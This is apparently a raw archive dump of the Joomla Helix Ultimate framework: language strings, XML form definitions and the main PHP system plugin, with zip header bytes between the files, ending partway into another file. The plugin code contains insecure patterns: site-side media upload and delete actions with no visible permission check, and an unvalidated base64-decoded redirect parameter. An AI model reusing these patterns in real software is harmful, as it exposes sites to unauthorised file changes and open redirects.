HELIX_ULTIMATE_MEGA_COL_PADDING_DESC="Set the padding values with space separation (Top Right Bottom Left). The default unit is <code>px</code>. You can specify your own unit with the value."
HELIX_ULTIMATE_MEGA_COL_HIDE_PHONE="Hide on Phone"
HELIX_ULTIMATE_MEGA_COL_HIDE_PHONE_DESC="Hide this column on phone."
HELIX_ULTIMATE_MEGA_COL_HIDE_LARGE_PHONE="Hide on Large Phone"
HELIX_ULTIMATE_MEGA_COL_HIDE_LARGE_PHONE_DESC="Hide this column on large phone."
HELIX_ULTIMATE_MEGA_COL_HIDE_TABLET="Hide on Tablet"
HELIX_ULTIMATE_MEGA_COL_HIDE_TABLET_DESC="Hide this column on tablet."
HELIX_ULTIMATE_MEGA_COL_HIDE_SMALL_DESKTOP="Hide on Small Desktop"
HELIX_ULTIMATE_MEGA_COL_HIDE_SMALL_DESKTOP_DESC="Hide this column on small desktop."
HELIX_ULTIMATE_MEGA_COL_HIDE_DESKTOP="Hide on Desktop"
HELIX_ULTIMATE_MEGA_COL_HIDE_DESKTOP_DESC="Hide this colun on desktop."
HELIX_ULTIMATE_MENU_BADGE="Badge"
HELIX_ULTIMATE_MENU_BADGE_PLACEHOLDER="Badge"
HELIX_ULTIMATE_MENU_BADGE_POSITION="Left"
HELIX_ULTIMATE_MENU_EDIT="Edit"
HELIX_ULTIMATE_MENU_DELETE="Delete"
HELIX_ULTIMATE_MENU_MEGAMENU="Mega Menu"
HELIX_ULTIMATE_MENU_OPTIONS="Settings"
HELIX_ULTIMATE_CUSTOM_LAYOUT_TEXT="Custom"
HELIX_ULTIMATE_CUSTOM_LAYOUT_LABEL="Custom Layout"
HELIX_ULTIMATE_MEGAMENU_APPLY_TEXT="Apply"

;Custom Code
HELIX_ULTIMATE_CUSTOM_CODE="Custom Code"
HELIX_ULTIMATE_BEFORE_HEAD="Before &lt;/head&gt;"
HELIX_ULTIMATE_BEFORE_HEAD_DESC="Any code you place here will appear in the head section of every page of your site. This feature is useful when you need to add verification code, JavaScript or CSS links to all pages."
HELIX_ULTIMATE_AFTER_BODY="After &lt;body&gt;"
HELIX_ULTIMATE_AFTER_BODY_DESC="Any code you place here will be appeared just after the opening body tag."
HELIX_ULTIMATE_BEFORE_BODY="Before &lt;/body&gt;"
HELIX_ULTIMATE_BEFORE_BODY_DESC="Any code you place here will appear at the bottom of the body section of all pages of your site. This feature is useful if you need to input a tracking code for a state counter such as Google Analytics or Clicky."
HELIX_ULTIMATE_CUSTOM_CSS="Custom CSS"
HELIX_ULTIMATE_CUSTOM_CSS_DESC="You can use custom CSS to add your styles or overwrite default CSS to a template or extension. This option is useful for small changes in the stylesheets. For more extensive changes (more than 10 lines of code) we suggest to use the custom.css file."
HELIX_ULTIMATE_CUSTOM_JS="Custom Javascript"
HELIX_ULTIMATE_CUSTOM_JS_DESC="You can add custom JavaScript code. It loads your custom Javascript file after all other JavaScript files (except special hardcoded occasions), allowing you to be the last one who will affect your website."


; Missings
HELIX_ULTIMATE_PREDEFINED_HEADER="Predefined Header"
HELIX_ULTIMATE_PREDEFINED_HEADER_DESC="Enable this option to use a predefined header provided by Helix Ultimate."
HELIX_ULTIMATE_LOGO_ALT_TEXT="Logo Alt Text"
HELIX_ULTIMATE_LOGO_ALT_TEXT_DESC="Logo Alt Text can enhance your SEO performance. Use concise but brief (as possible) alt text for your site logo."
HELIX_ULTIMATE_LOGO_TYPE_TEXT="Text"
HELIX_ULTIMATE_LOGO_SLOGAN="logo Slogan"
HELIX_ULTIMATE_STICKY_HEADER_MD="Sticky Header"
HELIX_ULTIMATE_STICKY_HEADER_SM="Sticky Header (Tablet)"
HELIX_ULTIMATE_STICKY_HEADER_XS="Sticky Header (Mobile)"
HELIX_ULTIMATE_PREDEFINED_PRESETS="Pre Defined Presets"
HELIX_ULTIMATE_GROUP_MENUBUILDER="Menu Builder"
HELIX_ULTIMATE_FONT_COLOR="Color"
HELIX_ULTIMATE_FONT_LETTER_SPACING="Spacing"
HELIX_ULTIMATE_FONT_ALIGNMENT="Alignment"
HELIX_ULTIMATE_FONT_LINE_HEIGHT="Line Height"
HELIX_ULTIMATE_FONT_DECORATION="Decoration"
HELIX_ULTIMATE_GROUP_IMAGE="Image"
HELIX_ULTIMATE_ENABLE_IMAGE_LAZY_LOADING="Lazy Loading"
HELIX_ULTIMATE_ENABLE_IMAGE_LAZY_LOADING_DESC="Enable this option will allow you to load all of your images in a lazy mode. This will defer all the offscreen images."
HELIX_ULTIMATE_GROUP_ANALYTICS="Analytics"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_CODE="Google Analytics Code"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_CODE_DESC="Google Analytics Tracking Code"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_TRACKING_METHOD="Tracking Method"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_TRACKING_METHOD_DESC="Google analytics tracking method."
HELIX_ULTIMATE_GOOGLE_ANALYTICS_UNIVERSAL_ANALYTICS="Universal Analytics"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_GOOGLE_SITE_TAGS="Global Site Tag"
HELIX_ULTIMATE_SAVE_CHANGES="Save"
HELIX_ULTIMATE_PURGE_CSS_TEXT="Purge CSS"
HELIX_ULTIMATE_PURGE_CSS_DESC="Remove cache css and sass files from the system."
HELIX_ULTIMATE_SELECT_ICON_LABEL="--Select Icon--"
HELIX_ULTIMATE_ADD_NEW_MENU_ITEM="Add new Item"

; Advanced settings
HELIX_ULTIMATE_FIELDSET_ADVANCED="Advanced"
HELIX_ULTIMATE_GROUP_FONTS="Font Settings"
HELIX_ULTIMATE_GROUP_COMPRESSION="Compression"
HELIX_ULTIMATE_ENABLE_FONT_AWESOME="Enable Font Awesome"
HELIX_ULTIMATE_ENABLE_FONT_AWESOME_DESC="You can enable/disable the Font Awesome icons to load your site."
HELIX_ULTIMATE_GROUP_SCSS="SCSS"
HELIX_ULTIMATE_GROUP_IMPORTEXPORT="Import & Export"
HELIX_ULTIMATE_CSS_COMPRESS="Compress CSS Files"
HELIX_ULTIMATE_CSS_COMPRESS_DESC="Enable this option to compress and combine all CSS files to increase website performance by reducing loading time. <strong>Note: We suggest you to disable this option. We are working on this settings for further optimization.</strong>"
HELIX_ULTIMATE_JS_COMPRESS="Compress Javascript Files"
HELIX_ULTIMATE_JS_COMPRESS_DESC="Enable this option to compress and combine all Javascript files to increase website performance by reducing loading time. <strong>Note: We suggest you to disable this option. We are working on this settings for further optimization.</strong>"
HELIX_ULTIMATE_PURGE_CSS_TEXT="<span class='fas fa-eraser'></span> Purge CSS"
HELIX_ULTIMATE_PURGE_CSS_DESC="Remove cache css and sass files from the system."
HELIX_ULTIMATE_EXCLUDE_JS="Exclude Javascript Files"
HELIX_ULTIMATE_EXCLUDE_JS_DESC="Enter the names of Javascript files separated by a comma that you don't want to compress. e.g., jquery.min.js, main.js"
HELIX_ULTIMATE_ENABLE_SCSS="Compile SCSS to CSS"
HELIX_ULTIMATE_ENABLE_SCSS_DESC="Enable this option will compile all the <code>SCSS</code> files during each load of your website if the SCSS file has been changed or edited. Turn off this option if your site is in production mode."
HELIX_ULTIMATE_SETTINGS_EXPORT="Export Settings"
HELIX_ULTIMATE_SETTINGS_IMPORT="Import Settings"
COM_FINDER_ADVANCED_TIPS="<p>Entering <strong>this and that</strong> into the search form will return results containing both &quot;this&quot; and &quot;that&quot;.</p>
<p>Here are a few examples of how you can use the search feature:</p>
<p>Entering <strong>this not that</strong> into the search form will return results containing &quot;this&quot; and not &quot;that&quot;.</p>
<p>Entering <strong>this or that</strong> into the search form will return results containing either &quot;this&quot; or &quot;that&quot;.</p>
<p>Search results can also be filtered using a variety of criteria. Select one or more filters below to get started.</p>
<p>Entering <strong>&quot;this and that&quot;</strong> (with quotes) into the search form will return results containing the exact phrase &quot;this and that&quot;.</p>"
HELIX_ULTIMATE_HEADER_STICKY_OFFSET="Sticky Offset"
HELIX_ULTIMATE_HEADER_STICKY_OFFSET_DESC="After which scroll offset the header being sticky."PK!
�b��%helixultimate/params/blog-options.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="attribs" addfieldpath="/plugins/system/helixultimate/src/fields">
		<fieldset name="helix_ultimate_blog_options" label="HELIX_ULTIMATE_BLOG_OPTIONS">
			<field name="helix_ultimate_image" type="heliximage" label="HELIX_ULTIMATE_BLOG_FEATURED_IMAGE" />
			<field name="helix_ultimate_article_format" type="radio" label="HELIX_ULTIMATE_BLOG_ARTICLE_FORMAT" default="standard" class="btn-group">
				<option value="standard">HELIX_ULTIMATE_BLOG_POST_FORMAT_STANDARD</option>
				<option value="video">HELIX_ULTIMATE_BLOG_POST_FORMAT_VIDEO</option>
				<option value="gallery">HELIX_ULTIMATE_BLOG_POST_FORMAT_GALLERY</option>
				<option value="audio">HELIX_ULTIMATE_BLOG_POST_FORMAT_AUDIO</option>
			</field>
			<field name="helix_ultimate_audio" type="textarea" rows="5" label="HELIX_ULTIMATE_BLOG_POST_FORMAT_AUDIO_LABEL" description="HELIX_ULTIMATE_BLOG_POST_FORMAT_AUDIO_DESCRIPTION" class="input-xxlarge" filter="raw" showon="helix_ultimate_article_format:audio" />
			<field name="helix_ultimate_gallery" type="helixgallery" label="HELIX_ULTIMATE_BLOG_POST_FORMAT_GALLERY_LABEL" description="HELIX_ULTIMATE_BLOG_POST_FORMAT_GALLERY_DESCRIPTION" showon="helix_ultimate_article_format:gallery" />
			<field name="helix_ultimate_video" type="url" label="HELIX_ULTIMATE_BLOG_POST_FORMAT_VIDEO_LABEL" description="HELIX_ULTIMATE_BLOG_POST_FORMAT_VIDEO_DESCRIPTION" showon="helix_ultimate_article_format:video" />
		</fieldset>
	</fields>
</form>
PK!-ڜܠ�!helixultimate/params/megamenu.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" addfieldpath="/plugins/system/helixultimate/src/fields">
		<!-- <fieldset name="helixultimatemegamenu" label="HELIX_ULTIMATE_MENU">
			<field name="helixultimatemenulayout" type="helixmegamenu" />
		</fieldset> -->
		<fieldset name="helixultimatepagetitle" label="HELIX_ULTIMATE_PAGE_TITLE">
			<field name="helixultimatemenulayout" type="hidden" />
			<field name="helixultimate_enable_page_title" type="radio" class="btn-group" default="0" label="HELIX_ULTIMATE_ENABLE_PAGE_TITLE" description="HELIX_ULTIMATE_ENABLE_PAGE_TITLE_DESC">
				<option value="1">HELIX_ULTIMATE_YES</option>
				<option value="0">HELIX_ULTIMATE_NO</option>
			</field>
			<field name="helixultimate_page_title_alt" type="text" default="" label="HELIX_ULTIMATE_PAGE_TITLE_ALT" description="HELIX_ULTIMATE_PAGE_TITLE_ALT_DESC" />
			<field name="helixultimate_page_subtitle" type="text" default="" label="HELIX_ULTIMATE_PAGE_SUBTITLE" description="HELIX_ULTIMATE_PAGE_SUBTITLE_DESC" />
			<field name="helixultimate_page_title_heading" type="radio" class="btn-group" default="h2" label="HELIX_ULTIMATE_PAGE_TITLE_HEADING" description="HELIX_ULTIMATE_PAGE_TITLE_HEADING_DESC">
				<option value="h1">H1</option>
				<option value="h2">H2</option>
			</field>
			<field name="helixultimate_page_title_bg_color" type="color" label="HELIX_ULTIMATE_PAGE_TITLE_BACKGROUND_COLOR" description="HELIX_ULTIMATE_PAGE_TITLE_BACKGROUND_COLOR_DESC" />
			<field name="helixultimate_page_title_bg_image" type="media" label="HELIX_ULTIMATE_PAGE_TITLE_BACKGROUND_IMAGE" description="HELIX_ULTIMATE_PAGE_TITLE_BACKGROUND_IMAGE_DESC" />
		</fieldset>
	</fields>
</form>
PK!����O�Ohelixultimate/helixultimate.phpnu&1i�<?php
/**
 * @package 	Helix_Ultimate_Framework
 * @author 		JoomShaper <joomshaper@js.com>
 * @copyright 	Copyright (c) 2010 - 2018 JoomShaper
 * @license 	http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

/**
 * Bootstrap php file.
 * This is responsible for auto-loading php classes.
 *
 * @since 2.0.0
 */
require_once __DIR__ . '/bootstrap.php';


use HelixUltimate\Framework\Core\HelixUltimate;
use HelixUltimate\Framework\Platform\Blog;
use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\Platform\Media;
use HelixUltimate\Framework\Platform\Platform;
use HelixUltimate\Framework\System\JoomlaBridge;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Helper\MediaHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Response\JsonResponse;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Uri\Uri;
use Joomla\Registry\Registry;

// Constant definition
define('HELIX_LAYOUTS_PATH', JPATH_PLUGINS . '/system/helixultimate/layouts');
define('HELIX_LAYOUT_PATH', JPATH_PLUGINS . '/system/helixultimate/layout');

/**
 * Class for System Plugin HelixUltimate.
 *
 * @since 1.0.0
 */
class  PlgSystemHelixultimate extends JPlugin
{
	/**
	 * Is autoload language.
	 *
	 * @var		boolean		$autoloadLanguage
	 * @since	1.0.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Joomla! app instance.
	 *
	 * @var		CMSApplication		$app	The CMS application instance.
	 * @since	1.0.0
	 */
	protected $app;

	/**
	 * Handle the event hook onAfterInitialize.
	 * Here we can override the HTML functions.
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function onAfterInitialise()
	{
		$template = Helper::loadTemplateData();

		if (isset($template->template) && !empty($template->template))
		{
			$bootstrapPath = JPATH_ROOT . '/plugins/system/helixultimate/html/layouts/libraries/cms/html/bootstrap.php';

			if ($this->app->isClient('site') && \file_exists($bootstrapPath))
			{
				if (!class_exists('HelixBootstrap'))
				{
					require_once $bootstrapPath;
				}

				HTMLHelper::register('bootstrap.tooltip', ['HelixBootstrap', 'tooltip']);
				HTMLHelper::register('bootstrap.popover', ['HelixBootstrap', 'popover']);
			}
		}
	}

	/**
	 * The form event. Load additional parameters when available into the field form.
	 * Only when the type of the form is of interest.
	 *
	 * @param	Form		$form	The form.
	 * @param	stdClass	$data	The data.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function onContentPrepareForm(Form $form, $data)
	{
		$doc = Factory::getDocument();
		$template = Helper::loadTemplateData();

		$plg_path = Uri::root(true) . '/plugins/system/helixultimate';
		$tmpl_path = Uri::root(true) . '/templates/' . $template->template;

		Form::addFormPath(JPATH_PLUGINS . '/system/helixultimate/params');

		if ($form->getName() === 'com_menus.item')
		{
			HTMLHelper::_('jquery.framework');
			$helix_plg_url = Uri::root(true) . '/plugins/system/helixultimate';
			$doc->addScript($helix_plg_url . '/assets/js/admin/jquery-ui.min.js');

			$doc->addStyleSheet($tmpl_path . '/css/font-awesome.min.css');
			$doc->addStyleSheet($plg_path . '/assets/css/admin/modal.css');
			$doc->addScript($plg_path . '/assets/js/admin/modal.js');

			$form->loadFile('megamenu', false);
		}

		// Article Post format
		if ($form->getName() === 'com_content.article')
		{
			$doc->addStyleSheet($tmpl_path . '/css/font-awesome.min.css');
			$tpl_path = JPATH_ROOT . '/templates/' . $this->getTemplateName()->template;

			HTMLHelper::_('jquery.framework');
			HTMLHelper::_('jquery.token');

			$doc->addStyleSheet($plg_path . '/assets/css/admin/blog-options.css');
			$doc->addScript($plg_path . '/assets/js/admin/blog-options.js', ['version' => 'auto', 'relative' => false]);

			if (File::exists($tpl_path . '/blog-options.xml'))
			{
				Form::addFormPath($tpl_path);
			}
			else
			{
				Form::addFormPath(JPATH_PLUGINS . '/system/helixultimate/params');
			}

			$form->loadFile('blog-options', false);
		}
	}

	/**
	 * On Saving extensions logging method
	 * Method is called when an extension is being saved
	 *
	 * @param   string   $context  The extension
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    If the extension is new or not
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function onExtensionAfterSave($context, $table, $isNew)
	{
		if ($context === 'com_templates.style' && !empty($table->id))
		{
			$params = new Registry;
			$params->loadString($table->params);

			$email       = $params->get('joomshaper_email');
			$license_key = $params->get('joomshaper_license_key');
			$template    = trim($table->template);

			if (!empty($email) && !empty($license_key))
			{
				$extra_query = 'joomshaper_email=' . urlencode($email);
				$extra_query .= '&amp;joomshaper_license_key=' . urlencode($license_key);

				$db = Factory::getDbo();
				$fields = array(
					$db->quoteName('extra_query') . ' = ' . $db->quote($extra_query),
					$db->quoteName('last_check_timestamp') . ' = 0'
				);

				$query = $db->getQuery(true)
					->update($db->quoteName('#__update_sites'))
					->set($fields)
					->where($db->quoteName('name') . ' = ' . $db->quote($template));
				$db->setQuery($query);
				$db->execute();
			}
		}
	}

	/**
	 * Attach the joomla web asset JSON file to the registry.
	 * From Joomla!4, the new web asset manager comes into the account.
	 * The templates might contains a joomla.asset.json file for managing
	 * the web assets.
	 *
	 * @return 	void
	 * @since 	2.0.5
	 */
	private function attachWebAsset() : void
	{
		$activeMenu = $this->app->getMenu()->getActive();
		$template = !empty($activeMenu) && $activeMenu->template_style_id > 0
			? Helper::getTemplateStyle($activeMenu->template_style_id)
			: Helper::loadTemplateData();

		$webAssetUri = '/templates/' . $template->template . '/joomla.asset.json';

		if(\file_exists(JPATH_ROOT . $webAssetUri))
		{
			Factory::getDocument()->getWebAssetManager()->getRegistry()->addRegistryFile($webAssetUri);
		}
	}

	/**
	 * After route.
	 *
	 * @return  void
	 *
	 * @since   1.0.0
	 */
	public function onAfterRoute()
	{
		$option     = $this->app->input->get('option', '', 'STRING');
		$helix      = $this->app->input->get('helix', '', 'STRING');
		$view       = $this->app->input->get('view', '', 'STRING');
		$task       = $this->app->input->get('task', '', 'STRING');
		$request    = $this->app->input->get('request', '', 'STRING');
		$action     = $this->app->input->get('action', '', 'STRING');
		$id         = $this->app->input->get('id', 0, 'INT');
		$tmpl		= $this->app->input->get('tmpl', '', 'STRING');
		$helixReturn= $this->app->input->get('helixreturn', '', 'STRING');

		$this->attachWebAsset();

		$this->app->input->set('helix_id', 9);

		if ($this->app->isClient('administrator') && $option === 'com_ajax' && $helix === 'ultimate' && !empty($id))
		{
			$this->app->input->set('tmpl', 'component');

			if ($this->app->input->get('format', '', 'STRING') !== 'html')
			{
				$this->app->input->set('format', 'html');
			}
		}

		if ($this->app->isClient('administrator') && $option === 'com_ajax'
			&& $helix === 'ultimate' && !Factory::getUser()->id)
		{
			// Redirect to the login page
			$return = urlencode(base64_encode('index.php?option=com_ajax&helix=ultimate&id=' . $id));
			$this->app->redirect(Route::_('index.php?helixreturn=' . $return, false));
		}

		/** If `helixreturn` query exists in the url then redirect to the return url. */
		if (Factory::getUser()->id && !empty($helixReturn))
		{
			$this->app->redirect(base64_decode($helixReturn));
		}

		if ($this->app->isClient('administrator'))
		{
			if ($option === 'com_ajax' && $helix === 'ultimate')
			{
				Helper::flushSettingsDataToJs();

				if ($task === 'export' && !empty($id))
				{
					$template = $this->getTemplateName($id);

					header('Content-Description: File Transfer');
					header('Content-type: application/txt');
					header('Content-Disposition: attachment; filename="' . $template->template . '_settings_' . date('d-m-Y') . '.json"');
					header('Content-Transfer-Encoding: binary');
					header('Expires: 0');
					header('Cache-Control: must-revalidate');
					header('Pragma: public');
					echo $template->params;
					exit();
				}

				/**
				 * Trigger the onAfterRespond event in every ajax route hit.
				 */
				if (!empty($request))
				{
					$this->app->triggerEvent('onAfterRespond');
				}
			}
		}

		if ($this->app->isClient('site'))
		{
			$option     = $this->app->input->get('option', '', 'STRING');
			$helix      = $this->app->input->get('helix', '', 'STRING');
			$request    = $this->app->input->get('request', '', 'STRING');
			$action     = $this->app->input->get('action', '', 'STRING');

			if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
			{
				switch ($action)
				{
					case 'upload-blog-image':
						Blog::upload_image();
						break;
					case 'remove-blog-image':
						Blog::remove_image();
						break;
					case 'view-media':
						Media::getFolders();
						break;
					case 'delete-media':
						Media::deleteMedia();
						break;
					case 'upload-media':
						Media::uploadMedia();
						break;
				}
			}
		}
	}

	/**
	 * Event on after respond.
	 * On this event initialize the platform.
	 *
	 * @return	void
	 * @since 	1.0.0
	 */
	public function onAfterRespond()
	{
		$request = $this->app->input->get('request', '', 'STRING');

		if ($this->app->isClient('administrator') && !empty($request))
		{
			/**
			 * On every ajax request handle the request from here.
			 */
			(new Platform)->handleRequests();
		}
	}

	/**
	 * Method to catch the onAfterDispatch event.
	 * This event is responsible for rendering the framework settings.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function onAfterDispatch()
	{
		$option     = $this->app->input->get('option', '', 'STRING');
		$helix      = $this->app->input->get('helix', '', 'STRING');
		$view       = $this->app->input->get('view', '', 'STRING');
		$task       = $this->app->input->get('task', '', 'STRING');
		$request    = $this->app->input->get('request', '', 'STRING');
		$action     = $this->app->input->get('action', '', 'STRING');
		$id         = $this->app->input->get('id', 0, 'INT');

		if ($this->app->isClient('administrator')
			&& $option === 'com_ajax'
			&& $helix === 'ultimate'
			&& !empty($id)
			&& empty($request))
		{
			Platform::loadFrameworkSystem();
		}

		if ($this->app->isClient('site'))
		{
			$activeMenu = $this->app->getMenu()->getActive();

			if (is_null($activeMenu))
			{
				$template_style_id = 0;
			}
			else
			{
				$template_style_id = (int) $activeMenu->template_style_id;
			}

			if ($template_style_id > 0)
			{
				if (JoomlaBridge::getVersion('major') < 4)
				{
					Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_templates/tables');
					$style = Table::getInstance('Style', 'TemplatesTable');
				}
				else
				{
					$style = new Joomla\Component\Templates\Administrator\Table\StyleTable(Factory::getContainer()->get('DatabaseDriver'));
				}

				$style->load($template_style_id);

				if (!empty($style->template))
				{
					$this->app->setTemplate($style->template, $style->params);
				}
			}
		}
	}

	public function onBeforeCompileHead()
	{
		$template = Helper::loadTemplateData();
		$params = $template->params;

		if ($this->app->isClient('administrator') && $this->app->input->get('option') === 'com_ajax' && $this->app->input->get('helix') === 'ultimate')
		{
			// Generating method `sanitizeAssetsForJ3` or `sanitizeAssetsForJ4` according to the Joomla major version.
			$sanitizeMethod = 'sanitizeAssetsForJ' . JoomlaBridge::getVersion('major');
			$this->$sanitizeMethod();
		}

		if ($this->app->isClient('site'))
		{
			$theme = new HelixUltimate;

			if ($params->get('compress_css'))
			{
				$theme->compress_css();
			}

			if ($params->get('compress_js'))
			{
				$theme->compress_js($params->get('exclude_js'));
			}

			if ($params->get('image_lazy_loading', 0))
			{
				$theme->add_js('lazysizes.min.js');
			}

			/**
			 * Adding custom directory for the assets.
			 * If anyone put any file inside the `templates/{template}/css/custom`
			 * or `templates/{template}/js/custom` directory then the files
			 * would be added to the site.
			 */
			$theme->addCustomCSS();
			$theme->addCustomSCSS();
			$theme->addCustomJS();
		}
	}

	/**
	 * Sanitize the assets i.e. scripts and stylesheets before adding to the head.
	 * This function is applicable for Joomla 3.
	 * @note This method is using dynamically.
	 *
	 * @return 	void
	 * @since	2.0.0
	 */
	private function sanitizeAssetsForJ3()
	{
		$headData = Factory::getDocument()->getHeadData();
		$styles = $headData['styleSheets'];
		$scripts = $headData['scripts'];

		if (!empty($styles))
		{
			foreach ($styles as $url => $style)
			{
				$paths = explode('/', $url);

				if ($paths[count($paths) - 1] === 'template.css')
				{
					unset($styles[$url]);
				}
			}
		}

		if (!empty($scripts))
		{
			foreach ($scripts as $url => $script)
			{
				$paths = explode('/', $url);

				if ($paths[count($paths) - 1] === 'template.js')
				{
					unset($scripts[$url]);
				}
			}
		}

		$headData['styleSheets'] = $styles;
		$headData['scripts'] = $scripts;

		Factory::getDocument()->setHeadData($headData);
	}

	/**
	 * Sanitize the assets i.e. scripts and stylesheets before adding to the head.
	 * This function is applicable for Joomla 4.
	 * @note This method is using dynamically.
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	private function sanitizeAssetsForJ4()
	{
		$doc = Factory::getDocument();
		$wa = $doc->getWebAssetManager();

		/**
		 * Disable the atum specific styles and scripts.
		 */
		$assets = [
			'style' => ['template.atum.base', 'template.atum', 'template.active', 'template.active.language', 'template.user', 'template.atum.ltr', 'template.atum.rtl'],
			'script' => ['choicesjs', 'dragula']
		];

		foreach ($assets as $type => $names)
		{
			foreach ($names as $name)
			{
				if ($wa->assetExists($type, $name))
				{
					$methodName = 'disable' . ucfirst($type);
					$wa->$methodName($name);
				}
			}
		}
	}

	public function onBeforeRender()
	{
		$option     = $this->app->input->get('option', '', 'STRING');
		$helix      = $this->app->input->get('helix', '', 'STRING');
		$id         = $this->app->input->get('id', 0, 'INT');

		if ($option === 'com_ajax' && $helix === 'ultimate' && $id)
		{
			if ($this->app->isClient('site'))
			{
				$template = Helper::loadTemplateData();
				$this->app->setTemplate($template->template, $template->params);
			}
		}
	}

	public function onAfterRender()
	{
		$template = Helper::loadTemplateData();
		$params = $template->params;

		if ($this->app->isClient('site') && $params->get('image_lazy_loading', 0))
		{
			$srcRegex = "@<img[^>]*src=[\"\']([^\"\']*)[\"\'][^>]*>@";
			$classRegex = "@<img[^>]*class=[\"\']([^\"\']*)[\"\'][^>]*>@";

			$body = $content = $this->app->getBody();
			$find = [];

			/** Get all the images tags. */
			preg_match_all($srcRegex, $body, $matches);

			if (!empty($matches))
			{
				/**
				 * Update the relative path (starts with (/)images/../)
				 * by absolute path i.e. path `images/headers/raindrops.jpg`
				 * with `/path/to/the/project/images/headers/raindrops.jpg`
				 */
				foreach ($matches[1] as $key => $match)
				{
					$find[] = $matches[0][$key];

					/** Cleanup the image src. */
					$_match = JVERSION >= 4
						? MediaHelper::getCleanMediaFieldValue($match)
						: $match;
					
					if (preg_match("@(^images\/|^\/+images\/).*$@", $match))
					{
						$update = Uri::base() . $_match;
						$regex = "@" . \preg_quote($match, '/') . "@";
						$matches[0][$key] = preg_replace($regex, $update, $matches[0][$key]);
					}
					else
					{
						if ($match !== $_match)
						{
							$regex = "@" . \preg_quote($match, '/') . "@";
							$matches[0][$key] = preg_replace($regex, $_match, $matches[0][$key]);
						}
					}
				}

				/** Loop through the full matches. */
				foreach ($matches[0] as $key => $match)
				{
					$imageElement = $match;

					/**
					 * If there has a src attributes
					 * then replace them with data-src.
					 */
					if (preg_match("@src=[\"\']([^\"\']*)[\"\']@", $imageElement))
					{
						$imageElement = preg_replace("@src(?=\=[\"\']([^\"\']*)[\"\'])@", "data-src", $imageElement);
					}

					/**
					 * If srcset exists in the img element then
					 * replace the srcset with the data-srcset and add a new
					 * data-size='auto' attribute value for maintaining size
					 */
					if (preg_match("@srcset=[\"\']([^\"\']*)[\"\']@", $imageElement))
					{
						$imageElement = preg_replace("@srcset(?=\=[\"\']([^\"\']*)[\"\'])@", "data-srcset", $imageElement);
						$dataSize = 'data-size="auto" />';
						$imageElement = preg_replace("@(<img[^>]*?)(\/?>)@", "$1 " . $dataSize, $imageElement);
					}

					/** Check if there is any class attribute at the image element. */
					if (preg_match($classRegex, $imageElement, $classMatches))
					{
						/**
						 * If there is a class attribute then take the class
						 * names and append a class 'lazyload' with the existing
						 * classes and replace the previous class attribute with
						 * updating one.
						 */
						if (!empty($classMatches))
						{
							$newClass = 'class="' . $classMatches[1] . ' lazyload"';
							$imageElement = preg_replace("@class=[\"\']([^\"\']*)[\"\']@", $newClass, $imageElement);
						}
					}
					else
					{
						/** If no class attribute exists then add a class attribute. */
						$newClass = 'class="lazyload" />';
						$imageElement = preg_replace("@(<img[^>]*?)(\/?>)@", "$1 " . $newClass, $imageElement);
					}

					/** Update the content with updated images. */
					$content = str_replace($find[$key], $imageElement, $content);
				}
			}

			/**
			 * Set the body content with updated images
			 */
			$this->app->setBody($content);
		}
	}

	/**
	 * Get template object by it's ID.
	 *
	 * @param	int		$id		The template ID.
	 *
	 * @return	object			Template object.
	 * @since	1.0.0
	 */
	private function getTemplateName($id = 0)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from($db->quoteName('#__template_styles'));
		$query->where($db->quoteName('client_id') . ' = 0');

		if (empty($id))
		{
			$query->where($db->quoteName('home') . ' = 1');
		}
		else
		{
			$query->where($db->quoteName('id') . ' = ' . (int) $id);
		}

		$db->setQuery($query);

		return $db->loadObject();
	}

	public function onAjaxHelixultimate()
	{
		$app 		= Factory::getApplication();
		$input 		= $app->input;

		$task = $input->get('task', '', 'STRING');

		// If no task provided to the request then it close with a 403 bad request error.
		if (empty($task))
		{
			$app->setHeader('status', 403, true);
			$app->sendHeaders();
			echo new JsonResponse('You missed to pass task at your requested URL.');
			$app->close();
		}

		// Destructing the Class and method from the task
		$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
		$class = "Response";
		$method = '';

		$classMethod = explode('.', $task);

		if (count($classMethod) === 1)
		{
			$method = $classMethod[0];
		}
		elseif (count($classMethod) === 2)
		{
			$class = ucfirst($classMethod[0]);
			$method = $classMethod[1];
		}
		else
		{
			$app->setHeader('status', 500, true);
			$app->sendHeaders();
			echo new JsonResponse('task is not in a proper format. Use "className.method" or only "method" format without quote.');
			$app->close();
		}

		$class = $namespace . $class;

		// Check if the class is exists or not
		if (!\class_exists($class))
		{
			$app->setHeader('status', 500, true);
			$app->sendHeaders();
			echo new JsonResponse('The class "' . $class . '" does not exist!');
			$app->close();
		}

		// Check if the method exists
		if (!\method_exists($class, $method))
		{
			$app->setHeader('status', 500, true);
			$app->sendHeaders();
			echo new JsonResponse('Method "' . $method . '" inside the class "' . $class . '" does not exist!');
			$app->close();
		}

		// $instance = new $class();
		$response = $class::$method();

		$app->setHeader('status', 200, true);
		$app->sendHeaders();
		echo new JsonResponse($response);
		$app->close();
	}
}
PK!������$helixultimate/fields/helixbutton.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
